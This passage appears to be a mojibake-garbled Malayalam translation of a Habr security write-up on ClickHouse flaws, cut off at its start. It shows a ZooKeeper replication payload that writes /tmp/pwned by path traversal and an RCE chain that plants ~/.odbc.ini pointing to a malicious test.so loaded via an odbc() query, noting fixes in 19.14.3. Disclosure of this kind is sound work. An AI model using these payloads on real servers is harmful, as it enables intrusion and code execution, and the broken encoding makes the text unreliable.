เดšเต‡เตผเดคเตเดคเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

เด’เดคเตเดคเตเดšเต‡เดฐเดฒเดฟเดจเต เดถเต‡เดทเดตเตเด‚ ../../../../../../../../../tmp/pwned เดซเดฏเตฝ เดŽเดดเตเดคเดชเตเดชเต†เดŸเตเด‚ /tmp/pwned เด‰เดณเตเดณเดŸเด•เตเด•เดคเตเดคเต‹เดŸเต† hellofromzookeeper.

เดซเดฏเตฝ เดฑเตˆเดฑเตเดฑเดฟเด‚เด—เต เดถเต‡เดทเดฟ เดฑเดฟเดฎเต‹เดŸเตเดŸเต เด•เต‹เดกเต เดŽเด•เตโ€Œเดธเดฟเด•เตเดฏเต‚เดทเดจเดพเด•เตเด•เดฟ เดฎเดพเดฑเตเดฑเตเดจเตเดจเดคเดฟเดจเต (RCE) เดจเดฟเดฐเดตเดงเดฟ เด“เดชเตเดทเดจเตเด•เตพ เด‰เดฃเตเดŸเต.

RCE-เดฏเดฟเดฒเต† เดฌเดพเดนเตเดฏ เดจเดฟเด˜เดฃเตเดŸเตเด•เตเด•เตพ

เดชเดดเดฏ เดชเดคเดฟเดชเตเดชเตเด•เดณเดฟเตฝ, ClickHouse เด•เตเดฐเดฎเต€เด•เดฐเดฃเด™เตเด™เดณเตเดณเตเดณ เดกเดฏเดฑเด•เตเดŸเดฑเดฟ เด‰เดชเดฏเต‹เด•เตเดคเตƒ เด…เดตเด•เดพเดถเด™เตเด™เดณเต‹เดŸเต† เดธเด‚เดญเดฐเดฟเดšเตเดšเต เด•เตเดฒเดฟเด•เตเด•เตเดนเต—เดธเต เดธเตเดฅเดฟเดฐเดธเตเดฅเดฟเดคเดฟ. เด•เตเดฐเดฎเต€เด•เดฐเดฃ เดซเดฏเดฒเตเด•เตพ XML เดซเดฏเดฒเตเด•เดณเดพเดฃเต, เด…เดคเต เดธเต‡เดตเดจเด‚ เด†เดฐเด‚เดญเดฟเด•เตเด•เตเดฎเตเดชเต‹เตพ เดตเดพเดฏเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดคเตเดŸเตผเดจเตเดจเต เด•เดพเดทเต† เดšเต†เดฏเตเดฏเตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต /var/lib/clickhouse/preprocessed_configs. เดฎเดพเดฑเตเดฑเด™เตเด™เตพ เดธเด‚เดญเดตเดฟเด•เตเด•เตเดฎเตเดชเต‹เตพ, เด…เดต เดตเต€เดฃเตเดŸเตเด‚ เดตเดพเดฏเดฟเด•เตเด•เตเดจเตเดจเต. เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด†เด•เตเดธเดธเต เด‰เดฃเตเดŸเต†เด™เตเด•เดฟเตฝ /etc/clickhouse-server เด’เดฐเต เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเด•เตเด•เต เดธเตเดตเดจเตเดคเดฎเดพเดฏเดฟ เดธเตƒเดทเตเดŸเดฟเด•เตเด•เดพเตป เด•เดดเดฟเดฏเตเด‚ เดฌเดพเดนเตเดฏ เดจเดฟเด˜เดฃเตเดŸเต เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเดฌเดฟเตพ เดคเดฐเด‚ เดคเตเดŸเตผเดจเตเดจเต เด…เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดคเดฎเดพเดฏ เด•เต‹เดกเต เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเต เดšเต†เดฏเตเดฏเตเด•. ClickHouse-เดจเตเดฑเต† เดจเดฟเดฒเดตเดฟเดฒเต† เดชเดคเดฟเดชเตเดชเตเด•เตพ เดธเตเดฅเดฟเดฐเดธเตเดฅเดฟเดคเดฟเดฏเดพเดฏเดฟ เด…เดตเด•เดพเดถเด™เตเด™เตพ เดจเตฝเด•เตเดจเตเดจเดฟเดฒเตเดฒ, เดŽเดจเตเดจเดพเตฝ เดธเต†เตผเดตเตผ เด•เตเดฐเดฎเต‡เดฃ เด…เดชเตเดกเต‡เดฑเตเดฑเต เดšเต†เดฏเตเดคเดพเตฝ, เด…เดคเตเดคเดฐเด‚ เด…เดตเด•เดพเดถเด™เตเด™เตพ เดจเดฟเดฒเดจเดฟเตฝเด•เตเด•เตเด‚. เดจเดฟเด™เตเด™เตพ เด’เดฐเต ClickHouse เด•เตเดฒเดธเตเดฑเตเดฑเดฑเดฟเดจเต† เดชเดฟเดจเตเดคเตเดฃเดฏเตเด•เตเด•เตเด•เดฏเดพเดฃเต†เด™เตเด•เดฟเตฝ, เด•เตเดฐเดฎเต€เด•เดฐเดฃ เดกเดฏเดฑเด•เตเดŸเดฑเดฟเดฏเตเดŸเต† เด…เดตเด•เดพเดถเด™เตเด™เตพ เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เตเด•, เด…เดคเต เด‰เดชเดฏเต‹เด•เตเดคเดพเดตเดฟเดจเตเดฑเต†เดคเดพเดฏเดฟเดฐเดฟเด•เตเด•เดฃเด‚ root.

เด’เดกเดฟเดฌเดฟเดธเดฟ เดฎเตเดคเตฝ เด†เตผเดธเดฟเด‡ เดตเดฐเต†

เด’เดฐเต เดชเดพเด•เตเด•เต‡เดœเต เด‡เตปเดธเตเดฑเตเดฑเดพเตพ เดšเต†เดฏเตเดฏเตเดฎเตเดชเต‹เตพ, เด’เดฐเต เด‰เดชเดฏเต‹เด•เตเดคเดพเดตเต เดธเตƒเดทเตเดŸเดฟเด•เตเด•เดชเตเดชเต†เดŸเตเดจเตเดจเต clickhouse, เดŽเดจเตเดจเดพเตฝ เด…เดคเดฟเดจเตเดฑเต† เดนเต‹เด‚ เดกเดฏเดฑเด•เตเดŸเดฑเดฟ เดธเตƒเดทเตเดŸเดฟเดšเตเดšเดฟเดŸเตเดŸเดฟเดฒเตเดฒ /nonexistent. เดŽเดจเตเดจเดฟเดฐเตเดจเตเดจเดพเดฒเตเด‚, เดฌเดพเดนเตเดฏ เดจเดฟเด˜เดฃเตเดŸเตเด•เตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดฎเตเดชเต‹เตพ, เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เดฎเดฑเตเดฑเต เด•เดพเดฐเดฃเด™เตเด™เดณเดพเตฝ, เด…เดกเตเดฎเดฟเดจเดฟเดธเตเดŸเตเดฐเต‡เดฑเตเดฑเตผเดฎเดพเตผ เด’เดฐเต เดกเดฏเดฑเด•เตเดŸเดฑเดฟ เดธเตƒเดทเตเดŸเดฟเด•เตเด•เตเดจเตเดจเต /nonexistent เด‰เดชเดฏเต‹เด•เตเดคเดพเดตเดฟเดจเต เดจเตฝเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเด• clickhouse เด‡เดคเดฟเดฒเต‡เด•เตเด•เต เดŽเดดเตเดคเดพเดจเตเดณเตเดณ เด†เด•เตเดธเดธเต (SSZB! เดเด•เดฆเต‡เดถเด‚. เดตเดฟเดตเตผเดคเตเดคเด•เตป).

ClickHouse เดชเดฟเดจเตเดคเตเดฃเดฏเตเด•เตเด•เตเดจเตเดจเต ODBC เด•เต‚เดŸเดพเดคเต† เดฎเดฑเตเดฑเต เดกเดพเดฑเตเดฑเดพเดฌเต‡เดธเตเด•เดณเดฟเดฒเต‡เด•เตเด•เต เด•เดฃเด•เตเดฑเตเดฑเตเดšเต†เดฏเตเดฏเดพเดจเดพเด•เตเด‚. ODBC-เดฏเดฟเตฝ, เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดกเดพเดฑเตเดฑเดพเดฌเต‡เดธเต เดกเตเดฐเตˆเดตเตผ เดฒเตˆเดฌเตเดฐเดฑเดฟเดฏเดฟเดฒเต‡เด•เตเด•เตเดณเตเดณ เดชเดพเดค (.so) เดตเตเดฏเด•เตเดคเดฎเดพเด•เตเด•เดพเด‚. ClickHouse-เดจเตเดฑเต† เดชเดดเดฏ เดชเดคเดฟเดชเตเดชเตเด•เตพ เด…เดญเตเดฏเตผเดคเตเดฅเดจ เดนเดพเตปเดกเตโ€Œเดฒเดฑเดฟเตฝ เดจเต‡เดฐเดฟเดŸเตเดŸเต เด‡เดคเต เดšเต†เดฏเตเดฏเดพเตป เดจเดฟเด™เตเด™เดณเต† เด…เดจเตเดตเดฆเดฟเดšเตเดšเต, เดŽเดจเตเดจเดพเตฝ เด‡เดชเตเดชเต‹เตพ เด•เดฃเด•เตเดทเตป เดธเตเดŸเตเดฐเดฟเด‚เด—เดฟเดจเตเดฑเต† เด•เต‚เดŸเตเดคเตฝ เด•เตผเดถเดจเดฎเดพเดฏ เดชเดฐเดฟเดถเต‹เดงเดจ เดšเต‡เตผเดคเตเดคเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต odbc-bridge, เด…เดคเดฟเดจเดพเตฝ เด…เดญเตเดฏเตผเดคเตเดฅเดจเดฏเดฟเตฝ เดจเดฟเดจเตเดจเต เดกเตเดฐเตˆเดตเตผ เดชเดพเดคเตเดคเต เดตเตเดฏเด•เตเดคเดฎเดพเด•เตเด•เดพเตป เด‡เดจเดฟ เดธเดพเดงเตเดฏเดฎเดฒเตเดฒ. เดŽเดจเตเดจเดพเตฝ เดฎเตเด•เดณเดฟเตฝ เดตเดฟเดตเดฐเดฟเดšเตเดš เดฆเตเตผเดฌเดฒเดค เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เด’เดฐเต เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเด•เตเด•เต เดนเต‹เด‚ เดกเดฏเดฑเด•เตเดŸเดฑเดฟเดฏเดฟเดฒเต‡เด•เตเด•เต เดŽเดดเตเดคเดพเตป เด•เดดเดฟเดฏเตเดฎเต‹?

เดจเดฎเตเด•เตเด•เต เด’เดฐเต เดซเดฏเตฝ เด‰เดฃเตเดŸเดพเด•เตเด•เดพเด‚ ~/.odbc.ini เด‡เดคเตเดชเต‹เดฒเตเดณเตเดณ เด‰เดณเตเดณเดŸเด•เตเด•เดคเตเดคเดฟเตฝ:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

เดชเดฟเดจเตเดจเต† เดธเตเดฑเตเดฑเดพเตผเดŸเตเดŸเดชเตเดชเดฟเตฝ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); เดฒเตˆเดฌเตเดฐเดฑเดฟ เดฒเต‹เดกเต เดšเต†เดฏเตเดฏเตเด‚ test.so เด•เต‚เดŸเดพเดคเต† RCE เดฒเดญเดฟเดšเตเดšเต (เดจเดจเตเดฆเดฟ เดฌเด—เตเดฒเต‹เด•เตเด•เต เดจเตเดฑเตเด™เตเด™เดฟเดจเดพเดฏเดฟ).

เด‡เดตเดฏเตเด‚ เดฎเดฑเตเดฑเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เดณเตเด‚ ClickHouse เดชเดคเดฟเดชเตเดชเต 19.14.3-เตฝ เดชเดฐเดฟเดนเดฐเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต. เดจเดฟเด™เตเด™เดณเตเดŸเต† ClickHouse, ZooKeepers เดŽเดจเตเดจเดฟเดตเดฏเต† เดชเดฐเดฟเดชเดพเดฒเดฟเด•เตเด•เตเด•!

เด…เดตเดฒเด‚เดฌเด‚: www.habr.com

เด’เดฐเต เด…เดญเดฟเดชเตเดฐเดพเดฏเด‚ เดšเต‡เตผเด•เตเด•เตเด•